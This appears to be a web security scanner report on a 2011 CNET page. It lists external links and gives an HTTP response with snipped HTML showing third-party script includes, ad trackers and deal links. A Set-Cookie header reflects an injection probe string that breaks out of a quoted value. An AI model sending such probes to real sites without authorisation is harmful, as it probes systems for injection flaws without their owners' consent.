http://dw.com.com/redir?astid=2&ltype=mlst&merId=10000005&mfgId=10000005&oid=2001-5_9-33387147&ontid=5&pg=&pId=33387147&prc=%24&sorder=&stype=&tag=dndeals&ttag=dndealslg42hdtvmount091611fddeals&lop=online&edId=3&siteid=9&channelid=33&destUrl=http://dealnews.com/lw/artclick.html?2,500884,1752498,eref=cnet-fd
http://dw.com.com/redir?astid=2&ltype=mlst&merId=10000005&mfgId=10000005&oid=2001-5_9-33387147&ontid=5&pg=&pId=33387147&prc=%24&sorder=&stype=&tag=dndeals&ttag=dndealsskytex4tablet091611fddeals&lop=online&edId=3&siteid=9&channelid=33&destUrl=http://dealnews.com/lw/artclick.html?2,497441,1738640,eref=cnet-fd
http://i.i.com.com/cnwk.1d/Ads/1667/12/88x31_VerizonLogo.jpg
http://i.i.com.com/cnwk.1d/Ads/1667/12/vzw_logo_60x45_CNETproductimage.jpg
http://i.i.com.com/cnwk.1d/Ads/2527/12/Intel_logo_88x31.jpg
http://i.i.com.com/cnwk.1d/Ads/2527/12/Intel_premier_60x45.jpg
http://i.i.com.com/cnwk.1d/Ads/7617/12/sprintaislejpeg1.JPG
http://i.i.com.com/cnwk.1d/Ads/7617/12/sprintlogo1.JPG
http://i.i.com.com/cnwk.1d/Ads/8404/12/Samsung_Laptop_R580.gif
http://i.i.com.com/cnwk.1d/Ads/8404/12/new_samsungLogo_88x31note.gif
http://i.i.com.com/cnwk.1d/Ads/common/adinfo_top.gif
http://i.i.com.com/cnwk.1d/Ads/common/manta/adFunctions-cnet.js
http://i.i.com.com/cnwk.1d/css/rb/Build/2000/2000.1.0.css
http://i.i.com.com/cnwk.1d/css/rb/Build/global/matrix.site1.css
http://i.i.com.com/cnwk.1d/css/rb/Build/print/print.css
http://i.i.com.com/cnwk.1d/html/Mockups/rb/fd/2010/zimgz/auxPromoFpo.gif
http://i.i.com.com/cnwk.1d/html/Mockups/rb/fd/2010/zimgz/facebookBox.gif
http://i.i.com.com/cnwk.1d/html/pt/pt2.js
http://i.i.com.com/cnwk.1d/html/rb/js/tron/doors/doors.tron.r2d2.compressed.js
http://i.i.com.com/cnwk.1d/html/rb/js/tron/oreo.moo.rb.combined.js
http://i.i.com.com/cnwk.1d/i/tim/2011/04/07/blog_molly_wood_60x60.png
http://i.i.com.com/cnwk.1d/i/tim/2011/09/06/Skytex_Primer_Pocket_4.3__4GB_Android_Tablet_90x90.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/09/09/iphone4_2up_angle_60x60.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/09/15/ASUS_O!Play_LIVE_1080p_WiFi_Media_Player_90x90.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/09/15/Dell-Inspiron-15r_90x86.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/09/15/LG_42_120Hz_1080p_LCD_HDTV_w_mount.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/09/16/Instamap_map_60x60.png
http://i.i.com.com/cnwk.1d/i/tim/2011/09/17/Lenovo_Z560_88x66.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/09/18/09_19_11_GmailOutlookSync1_60x60.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/09/18/FB_60x60.png
http://i.i.com.com/cnwk.1d/i/tim/2011/09/18/mediause_60x60.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/4_33_270x379_60x60.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/BargeonBargeAction_copy_88x66.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/Monkey_Island_sale_60x60.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/PriusPlugin_SS02_88x66.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/SecurityPrefsIconX_60x60.png
http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/X5Yw3_60x60.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/audiq3_60x60.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/ff8_ps3_500x350_60x60.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/googleNewLogo_60x60.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/invoxia-nvx610-34_60x60.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/lgoptimusq2-lg2_60x60.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/moto-tab-7-sm_60x60.jpg
http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/twitter_promo_60x60.png
http://i.i.com.com/cnwk.1d/i/tron/fd/riverUpdate.gif
http://i.i.com.com/cnwk.1d/sc/34854542-2-60-0.gif
http://legalterms.cbsinteractive.com/privacy
http://legalterms.cbsinteractive.com/terms-of-use
http://my.msn.com/addtomymsn.armx?id=rss&ut=http://posidn-api.cnet.com/rest/v1.0/resource/cnetRiverATOM
http://platform.twitter.com/widgets.js
http://search.twitter.com/search?q=BOL
http://search.twitter.com/search?q=cnet
http://secure-us.imrworldwide.com/cgi-bin/m?ci=us-304254h&cg=0&cc=1&ts=noscript
http://t.co/rd1n1AFu
http://techrepublic.com.com/
http://twitter.com/cnet
http://twitter.com/favicon.ico
http://twitter.com/mollywood
http://www.bnet.com/
http://www.cbsinteractive.com/
http://www.cbsinteractive.com/adfeedback/?REDIRECT=TRUE&RGROUP=8801&SEGMENTID=540391&LINEID=436543&SP=16&ADVERTISERID=2572
http://www.cbsinteractive.com/info/eula
http://www.chow.com/
http://www.cnetchannel.com/
http://www.cnetnetworks.com/advertise/properties/international.html?
http://www.facebook.com/cnet
http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.facebook.com%2Fcnet&layout=button_count&show_faces=false&width=120&action=like&font&colorscheme=light&height=21
http://www.gamespot.com/
http://www.google.com/ig/add?feedurl=http://posidn-api.cnet.com/rest/v1.0/resource/cnetRiverATOM
http://www.linkedin.com/today/cnet.com
http://www.mysimon.com/
http://www.search.com/
http://www.tv.com/
http://www.youtube.com/user/CNETTV
http://www.zdnet.com/

Request

Response

HTTP/1.1 200 OK
Date: Mon, 19 Sep 2011 19:28:09 GMT
Via: HTTP/1.0 phx1-rb-rev-app4.cnet.com:80 (cnwk.proxy.servlet.PathProxyServlet $Revision: 218012 $)
Content-Language: en-GB
Expires: Mon, 19 Sep 2011 19:29:26 GMT
Age: 43
Content-Type: text/html; charset=UTF-8
Set-Cookie: arrowSSRefUrl=http%3A%2F%2Fwww.google.com%2Fsearch%3Fhl%3Den%26q%3D%2500c82b8%22%2520a%253db%25205eff54a8341; domain=.cnet.com; path=/; expires=Mon, 19-Sep-2011 19:58:09 GMT
Set-Cookie: arrowLrps=1312564961707:1312559263357; domain=.cnet.com; path=/; expires=Tue, 18-Sep-2012 19:28:09 GMT
Set-Cookie: arrowLat=1316460489741; domain=.cnet.com; path=/; expires=Tue, 18-Sep-2012 19:28:09 GMT
Set-Cookie: arrowSpc=5; domain=.cnet.com; path=/; expires=Wed, 19-Oct-2011 19:28:09 GMT
Set-Cookie: arrowFdCounter=4; domain=.cnet.com; path=/; expires=Mon, 19-Sep-2011 20:28:09 GMT
Set-Cookie: wsFd=true; domain=.cnet.com; path=/; expires=Wed, 19-Oct-2011 19:28:09 GMT
P3P: CP="CAO DSP COR CURa ADMa DEVa PSAa PSDa IVAi IVDi CONi OUR OTRi IND PHY ONL UNI FIN COM NAV INT DEM STA"
Cache-Control: max-age=120
Content-Length: 125950

<!DOCTYPE html> <html xmlns="http://www.w3.org/1999/xhtml" xmlns:og="http://opengraphprotocol.org/schema/" xmlns:fb="http://www.facebook.com/2008/fbml">

<head> <title>Product r
...[SNIP]...
<meta property="og:site_name" content="CNET"/> <link type="text/css" rel="stylesheet" media="screen" href="http://i.i.com.com/cnwk.1d/css/rb/Build/global/matrix.site1.css"/> <link type="text/css" rel="stylesheet" media="print" href="http://i.i.com.com/cnwk.1d/css/rb/Build/print/print.css"/> 
...[SNIP]...
</script> <script type="text/javascript" src="http://i.i.com.com/cnwk.1d/html/rb/js/tron/oreo.moo.rb.combined.js"></script>
...[SNIP]...
<![endif]--> <script src="http://platform.twitter.com/widgets.js" type="text/javascript"></script>
...[SNIP]...
<meta name="msapplication-task" content="name=Forums; action-uri=http://forums.cnet.com/; icon-uri=http://www.cnet.com/favicon.ico" /> <link type="text/css" rel="stylesheet" href="http://i.i.com.com/cnwk.1d/css/rb/Build/2000/2000.1.0.css"/> <script type="text/javascript" src="http://i.i.com.com/cnwk.1d/html/rb/js/tron/doors/doors.tron.r2d2.compressed.js"></script>
...[SNIP]...
<img src="http://adlog.com.com/adlog/i/r=7752&sg=1815&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e18:4E77921F7C2BF&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&dvar=dvar%255fversion%253d2008&ucat_rsi=%2526&pg=TneXyQoOYJUAAHySGGkAAAAF&t=2011.09.19.19.28.09/http://i.i.com.com/cnwk.1d/Ads/common/dotclear.gif" HEIGHT="0" WIDTH="0" alt="" style="position:absolute; top:0px; left:0px" /> <script type="text/javascript" src="http://dw.com.com/js/dw.js"></script>
...[SNIP]...
</script> <script type="text/javascript" src="http://i.i.com.com/cnwk.1d/Ads/common/manta/adFunctions-cnet.js"></script>
...[SNIP]...
<img src="http://adlog.com.com/adlog/i/r=12790&sg=1815&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=300&e=3&rqid=01phx1-ad-e19:4E778B17121614&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&dvar=dvar%255fversion%253d2008&ucat_rsi=%2526&pg=TneXyQoOYJUAAHySGGkAAAAF&t=2011.09.19.19.28.09/http://i.i.com.com/cnwk.1d/Ads/common/dotclear.gif" HEIGHT="0" WIDTH="0" alt="" style="position:absolute; top:0px; left:0px" />
...[SNIP]...
 <iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.facebook.com%2Fcnet&layout=button_count&show_faces=false&width=120&action=like&font&colorscheme=light&height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width:120px; height:21px;" allowTransparency="true"></iframe>
...[SNIP]...
<img src="http://adlog.com.com/adlog/i/r=18911&sg=1815&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e16:4E774C4D6F386A&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&dvar=dvar%255fversion%253d2008&ucat_rsi=%2526&pg=TneXyQoOYJUAAHySGGkAAAAF&t=2011.09.19.19.28.09/http://i.i.com.com/cnwk.1d/Ads/common/dotclear.gif" HEIGHT="0" WIDTH="0" alt="" style="position:absolute; top:0px; left:0px" />
...[SNIP]...
<img src="http://adlog.com.com/adlog/i/r=20298&sg=1815&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e21:4E7736F98B420F&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&dvar=dvar%255fversion%253d2008&ucat_rsi=%2526&pg=TneXyQoOYJUAAHySGGkAAAAF&t=2011.09.19.19.28.09/http://i.i.com.com/cnwk.1d/Ads/common/dotclear.gif" HEIGHT="0" WIDTH="0" alt="" style="position:absolute; top:0px; left:0px" />
...[SNIP]...
</span> more posts. Click to refresh <img src="http://i.i.com.com/cnwk.1d/i/tron/fd/riverUpdate.gif" width="17" height="16" alt="Click to refresh"></a>
...[SNIP]...
<a href="http://reviews.cnet.com/2300-9995_7-10009480.html" class="assetThumb"><img alt="Gears of War 3 (photos)" src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/BargeonBargeAction_copy_88x66.jpg"/></a>
...[SNIP]...
<a href="http://news.cnet.com/8301-17938_105-20108334-1/nvx-610-make-your-iphone-feel-like-a-landline/" class="assetThumb"><img alt="NVX 610: Make your iPhone feel like a landline" src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/invoxia-nvx610-34_60x60.jpg" width="60" height="60"/></a>
...[SNIP]...
<a href="http://reviews.cnet.com/2300-10863_7-10009478.html" class="assetThumb"><img alt="2012 Toyota Prius Plug-in preview (photos)" src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/PriusPlugin_SS02_88x66.jpg"/></a>
...[SNIP]...
<img src="http://adlog.com.com/adlog/i/r=18876&sg=1815&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=01phx1-ad-e21:4E7792C06DAEE&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&dvar=dvar%255fversion%253d2008&ucat_rsi=%2526&pg=TneXyQoOYJUAAHySGGkAAAAF&t=2011.09.19.19.28.09/http://i.i.com.com/cnwk.1d/Ads/common/dotclear.gif" HEIGHT="0" WIDTH="0" alt="" style="position:absolute; top:0px; left:0px" />
...[SNIP]...
<a href="http://reviews.cnet.com/8301-19736_7-20108305-251/motorolas-next-android-tablet-gets-spied-in-video/" class="assetThumb"><img alt="Motorola's next Android tablet gets spied in video" src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/moto-tab-7-sm_60x60.jpg" width="60" height="60"/></a>
...[SNIP]...
<a href="/8301-11310_39-20107432-285/how-to-view-instagram-on-the-ipad-instamap/" class="assetThumb"><img alt="How to view Instagram on the iPad: Instamap" src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/16/Instamap_map_60x60.png" width="60" height="60"/></a>
...[SNIP]...
<a href="http://news.cnet.com/8301-30977_3-20107921-10347072/study-youth-social-media-use-relates-to-free-speech-support-podcast/" class="assetThumb"><img alt="Study: Youth social media use relates to free speech support (podcast)" src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/18/mediause_60x60.jpg" width="60" height="60"/></a>
...[SNIP]...
<a href="http://reviews.cnet.com/8301-31747_7-20108339-243/arrr-monkey-island-tales-for-ipad-on-sale-this-week/" class="assetThumb"><img alt="Arrr! Monkey Island Tales for iPad on sale this week" src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/Monkey_Island_sale_60x60.jpg" width="60" height="60"/></a>
...[SNIP]...
<a href="http://www.cnet.com/8301-13952_1-20108343-81/the-404-906-where-qwikster-delivers-the-booty-podcast/" class="assetThumb"><img alt="The 404 906: Where Qwikster delivers the booty (podcast)" src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/X5Yw3_60x60.jpg" width="60" height="60"/></a>
...[SNIP]...
<a href="http://reviews.cnet.com/8301-19736_7-20108269-251/lg-introduces-qwerty-optimus-q2-for-korea/" class="assetThumb"><img alt="LG introduces QWERTY Optimus Q2 for Korea" src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/lgoptimusq2-lg2_60x60.jpg" width="60" height="60"/></a>
...[SNIP]...

    <a href="http://twitter.com/mollywood" target="new" class="assetThumb"><img alt="profile image - Molly Wood" src="http://i.i.com.com/cnwk.1d/i/tim/2011/04/07/blog_molly_wood_60x60.png" width="48" height="48" /><img src="http://twitter.com/favicon.ico" class="twitterLogo" alt="Twitter Logo" width="16" height="16"/></a>
...[SNIP]...
<p><a href='http://twitter.com/mollywood'><strong class='twitterName'>
...[SNIP]...
</a>: I'm back in the <a href='http://search.twitter.com/search?q=BOL'>#BOL</a> saddle! Talking the Netflix/Qwikster announcement with your responses ... tune in! <a href="http://t.co/rd1n1AFu">http://t.co/rd1n1AFu</a> <a href='http://search.twitter.com/search?q=cnet'>#cnet</a>
...[SNIP]...
<a href="http://news.cnet.com/8301-17938_105-20108319-1/final-fantasy-themed-ps3-reloaded/" class="assetThumb"><img alt="Final Fantasy-themed PS3 reloaded" src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/ff8_ps3_500x350_60x60.jpg" width="60" height="60"/></a>
...[SNIP]...
<a href="http://news.cnet.com/8301-27076_3-20108290-248/ipad-3-in-11-no-two-new-iphones-seems-so/" class="assetThumb"><img alt="iPad 3 in '11? No. Two new iPhones? Seems so" src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/09/iphone4_2up_angle_60x60.jpg" width="60" height="60"/></a>
...[SNIP]...
<a href="http://news.cnet.com/8301-13506_3-20108309-17/microsoft-in-talks-with-comcast-verizon-on-xbox-tv/" class="assetThumb"><img alt="Microsoft in talks with Comcast, Verizon on Xbox TV?" src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/4_33_270x379_60x60.jpg" width="60" height="60"/></a>
...[SNIP]...
<a href="http://reviews.cnet.com/8301-13727_7-20108261-263/os-x-lion-passwords-can-be-changed-by-any-local-user/" class="assetThumb"><img alt="OS X Lion passwords can be changed by any local user" src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/SecurityPrefsIconX_60x60.png" width="60" height="60"/></a>
...[SNIP]...
<a href="/8301-11310_39-20107994-285/how-to-organize-your-facebook-friends-in-lists/" class="assetThumb"><img alt="How to organize your Facebook friends in Lists" src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/18/FB_60x60.png" width="60" height="60"/></a>
...[SNIP]...
<a href="/8301-11310_39-20107943-285/sync-gmail-and-outlook-contacts-automatically/" class="assetThumb"><img alt="Sync Gmail and Outlook contacts automatically" src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/18/09_19_11_GmailOutlookSync1_60x60.jpg" width="60" height="60"/></a>
...[SNIP]...
<a href="/8301-11310_39-20108053-285/how-to-zip-around-twitter-with-keyboard-shortcuts/" class="assetThumb"><img alt="How to zip around Twitter with keyboard shortcuts" src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/twitter_promo_60x60.png" width="60" height="60"/></a>
...[SNIP]...
<a href="http://reviews.cnet.com/8301-13746_7-20108281-48/audi-debates-bringing-q3-crossover-to-u.s/" class="assetThumb"><img alt="Audi debates bringing Q3 crossover to U.S." src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/audiq3_60x60.jpg" width="60" height="60"/></a>
...[SNIP]...
<a href="http://reviews.cnet.com/laptops/dell-mobile-precision-m4600/4505-3121_7-34854542.html" class="assetThumb"><img src="http://i.i.com.com/cnwk.1d/sc/34854542-2-60-0.gif" alt="Dell Mobile Precision M4600 Computer Workstation- Intel Core i7-2720QM (Quad Core 2.20GHz,6M cache) with Turbo BoostTechnology 2.0" width="60" height="45"/></a>
...[SNIP]...
<a href="http://news.cnet.com/8301-13506_3-20108237-17/google-bolsters-offers-with-dailydeal-purchase/" class="assetThumb"><img alt="Google bolsters Offers with DailyDeal purchase" src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/19/googleNewLogo_60x60.jpg" width="60" height="60"/></a>
...[SNIP]...
<div id="overgif_540391" style="text-align:center;"><a href="http://www.cbsinteractive.com/adfeedback/?REDIRECT=TRUE&RGROUP=8801&SEGMENTID=540391&LINEID=436543&SP=16&ADVERTISERID=2572" target="new"><img src="http://i.i.com.com/cnwk.1d/Ads/common/adinfo_top.gif" width="50" height="10" border="0" alt="advertisement" /></a>
...[SNIP]...
<center><SCRIPT language='JavaScript1.1' SRC="http://ad.doubleclick.net/adj/N2949.CNET/B5805422.5;sz=300x250;click0=http://adlog.com.com/adlog/e/r=8801&sg=540391&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e18:4E77921F7C2CD&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&pg=TneXyQoOYJUAAHySGGkAAAAF&t=2011.09.19.19.28.09&event=58/;ord=2011.09.19.19.28.09?">
</SCRIPT>
<NOSCRIPT>
<A href="http://adlog.com.com/adlog/e/r=8801&sg=540391&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e18:4E77921F7C2CD&orh=cnet.com&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&pg=TneXyQoOYJUAAHySGGkAAAAF&t=2011.09.19.19.28.09&event=58/http://ad.doubleclick.net/jump/N2949.CNET/B5805422.5;sz=300x250;ord=2011.09.19.19.28.09?">
<IMG SRC="http://ad.doubleclick.net/ad/N2949.CNET/B5805422.5;sz=300x250;ord=2011.09.19.19.28.09?" BORDER=0 WIDTH=300 HEIGHT=250 ALT="Advertisement"></A>
...[SNIP]...
</div><img src="http://adlog.com.com/adlog/i/r=8801&sg=540391&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=00phx1-ad-e18:4E77921F7C2CD&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&dvar=dvar%255fversion%253d2008&ucat_rsi=%2526&pg=TneXyQoOYJUAAHySGGkAAAAF&t=2011.09.19.19.28.09/http://i.i.com.com/cnwk.1d/Ads/common/dotclear.gif" HEIGHT="0" WIDTH="0" alt="" style="position:absolute; top:0px; left:0px" /></center>
...[SNIP]...
<li class="deal1"> <a rel="nofollow" tstarget="_blank" href="http://dw.com.com/redir?astid=2&ltype=mlst&merId=10000005&mfgId=10000005&oid=2001-5_9-33387147&ontid=5&pg=&pId=33387147&prc=%24&sorder=&stype=&tag=dndeals&ttag=dndealsdellinsp14rlaptop091611fddeals&lop=online&edId=3&siteid=9&channelid=33&destUrl=http://dealnews.com/lw/artclick.html?2,500805,1752247,eref=cnet-fd" class="assetThumb"><img src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/15/Dell-Inspiron-15r_90x86.jpg " border="0" alt="SAVE $189 Dell Inspiron 14z Core i3 Dual 2.2GHz 14" LED Laptop"></a> <strong class="assetHed"><a rel="nofollow" target="_blank" href="http://dw.com.com/redir?astid=2&ltype=mlst&merId=10000005&mfgId=10000005&oid=2001-5_9-33387147&ontid=5&pg=&pId=33387147&prc=%24&sorder=&stype=&tag=dndeals&ttag=dndealsdellinsp14rlaptop091611fddeals&lop=online&edId=3&siteid=9&channelid=33&destUrl=http://dealnews.com/lw/artclick.html?2,500805,1752247,eref=cnet-fd">SAVE $189 Dell Inspiron 14z Core i3 Dual 2.2GHz 14" LED Laptop</a>
...[SNIP]...
<p class="readMore"><a rel="nofollow" target="_blank" href="http://dw.com.com/redir?astid=2&ltype=mlst&merId=10000005&mfgId=10000005&oid=2001-5_9-33387147&ontid=5&pg=&pId=33387147&prc=%24&sorder=&stype=&tag=dndeals&ttag=dndealsdellinsp14rlaptop091611fddeals&lop=online&edId=3&siteid=9&channelid=33&destUrl=http://dealnews.com/lw/artclick.html?2,500805,1752247,eref=cnet-fd">Buy Now thru Sept 21st $599.99 + FREE Shipping</a>
...[SNIP]...
<li class="deal2"> <a rel="nofollow" tstarget="_blank" href="http://dw.com.com/redir?astid=2&ltype=mlst&merId=10000005&mfgId=10000005&oid=2001-5_9-33387147&ontid=5&pg=&pId=33387147&prc=%24&sorder=&stype=&tag=dndeals&ttag=dndealslg42hdtvmount091611fddeals&lop=online&edId=3&siteid=9&channelid=33&destUrl=http://dealnews.com/lw/artclick.html?2,500884,1752498,eref=cnet-fd" class="assetThumb"><img src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/15/LG_42_120Hz_1080p_LCD_HDTV_w_mount.jpg " border="0" alt="SAVE $240 LG 42" 120Hz 1080p LCD HDTV + Mount & HDMI cable"></a> <strong class="assetHed"><a rel="nofollow" target="_blank" href="http://dw.com.com/redir?astid=2&ltype=mlst&merId=10000005&mfgId=10000005&oid=2001-5_9-33387147&ontid=5&pg=&pId=33387147&prc=%24&sorder=&stype=&tag=dndeals&ttag=dndealslg42hdtvmount091611fddeals&lop=online&edId=3&siteid=9&channelid=33&destUrl=http://dealnews.com/lw/artclick.html?2,500884,1752498,eref=cnet-fd">SAVE $240 LG 42" 120Hz 1080p LCD HDTV + Mount & HDMI cable</a>
...[SNIP]...
<p class="readMore"><a rel="nofollow" target="_blank" href="http://dw.com.com/redir?astid=2&ltype=mlst&merId=10000005&mfgId=10000005&oid=2001-5_9-33387147&ontid=5&pg=&pId=33387147&prc=%24&sorder=&stype=&tag=dndeals&ttag=dndealslg42hdtvmount091611fddeals&lop=online&edId=3&siteid=9&channelid=33&destUrl=http://dealnews.com/lw/artclick.html?2,500884,1752498,eref=cnet-fd">Coupon code "42LK520KIT" drops it to $499</a>
...[SNIP]...
<img src="http://adlog.com.com/adlog/i/r=18747&sg=1815&o=1%253a&h=cn&p=2&b=1&l=en_US&site=1&pt=2000&nd=1&pid=&cid=0&pp=100&e=3&rqid=01phx1-ad-e21:4E7792C06DAF5&orh=cnet.com&ort=&oepartner=&epartner=&ppartner=&pdom=download.cnet.com&cpnmodule=&count=&ra=50%2e23%2e123%2e106&dvar=dvar%255fversion%253d2008&ucat_rsi=%2526&pg=TneXyQoOYJUAAHySGGkAAAAF&t=2011.09.19.19.28.09/http://i.i.com.com/cnwk.1d/Ads/common/dotclear.gif" HEIGHT="0" WIDTH="0" alt="" style="position:absolute; top:0px; left:0px" />
...[SNIP]...
<li class="deal3"> <a rel="nofollow" tstarget="_blank" href="http://dw.com.com/redir?astid=2&ltype=mlst&merId=10000005&mfgId=10000005&oid=2001-5_9-33387147&ontid=5&pg=&pId=33387147&prc=%24&sorder=&stype=&tag=dndeals&ttag=dndealsskytex4tablet091611fddeals&lop=online&edId=3&siteid=9&channelid=33&destUrl=http://dealnews.com/lw/artclick.html?2,497441,1738640,eref=cnet-fd" class="assetThumb"><img src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/06/Skytex_Primer_Pocket_4.3__4GB_Android_Tablet_90x90.jpg " border="0" alt="40% Off Skytex Primer Pocket 4GB 4" Android Tablet "></a> <strong class="assetHed"><a rel="nofollow" target="_blank" href="http://dw.com.com/redir?astid=2&ltype=mlst&merId=10000005&mfgId=10000005&oid=2001-5_9-33387147&ontid=5&pg=&pId=33387147&prc=%24&sorder=&stype=&tag=dndeals&ttag=dndealsskytex4tablet091611fddeals&lop=online&edId=3&siteid=9&channelid=33&destUrl=http://dealnews.com/lw/artclick.html?2,497441,1738640,eref=cnet-fd">40% Off Skytex Primer Pocket 4GB 4" Android Tablet </a>
...[SNIP]...
<p class="readMore"><a rel="nofollow" target="_blank" href="http://dw.com.com/redir?astid=2&ltype=mlst&merId=10000005&mfgId=10000005&oid=2001-5_9-33387147&ontid=5&pg=&pId=33387147&prc=%24&sorder=&stype=&tag=dndeals&ttag=dndealsskytex4tablet091611fddeals&lop=online&edId=3&siteid=9&channelid=33&destUrl=http://dealnews.com/lw/artclick.html?2,497441,1738640,eref=cnet-fd">Now Available! Buy Now: $77.00 </a>
...[SNIP]...
<li class="deal4"> <a rel="nofollow" tstarget="_blank" href="http://dw.com.com/redir?astid=2&ltype=mlst&merId=10000005&mfgId=10000005&oid=2001-5_9-33387147&ontid=5&pg=&pId=33387147&prc=%24&sorder=&stype=&tag=dndeals&ttag=dndealslenovoz560pc091811fddeals&lop=online&edId=3&siteid=9&channelid=33&destUrl=http://dealnews.com/lw/artclick.html?2,501418,1754808,eref=cnet-fd" class="assetThumb"><img src="http://i.i.com.com/cnwk.1d/i/tim/2011/09/17/Lenovo_Z560_88x66.jpg " border="0" alt="SAVE $480 Lenovo IdeaPad Z570 Core i5 Dual 2.3GHz 16" Laptop"></a> <strong class="assetHed"><a rel="nofollow" target="_blank" href="http://dw.com.com/redir?astid=2&ltype=mlst&merId=10000005&mfgId=10000005&oid=2001-5_9-33387147&ontid=5&pg=&pId=33387147&prc=%24&sorder=&stype=&tag=dndeals&ttag=dndealslenovoz560pc091811fddeals&lop=online&edId=3&siteid=9&channelid=33&destUrl=http://dealnews.com/lw/artclick.html?2,501418,1754808,eref=cnet-fd">SAVE $480 Lenovo IdeaPad Z570 Core i5 Dual 2.3GHz 16" Laptop</a>
...[SNIP]...
<p class="readMore"><a rel="nofollow" target="_blank" href="http://dw.com.com/redir?astid=2&ltype=mlst&merId=10000005&mfgId=10000005&oid=2001-5_9-33387147&ontid=5&pg=&pId=33387147&prc=%24&sorder=&stype=&tag=dndeals&ttag=dndealslenovoz560pc091811fddeals&lop=online&edId=3&siteid=9&channelid=33&destUrl=http://dealnews.com/lw/artclick.html?2,501418,1754808,eref=cnet-fd">Coupon code "WKYDEALZ570" cuts it to $619 + FREE Shipping</a>
...[SNIP]...
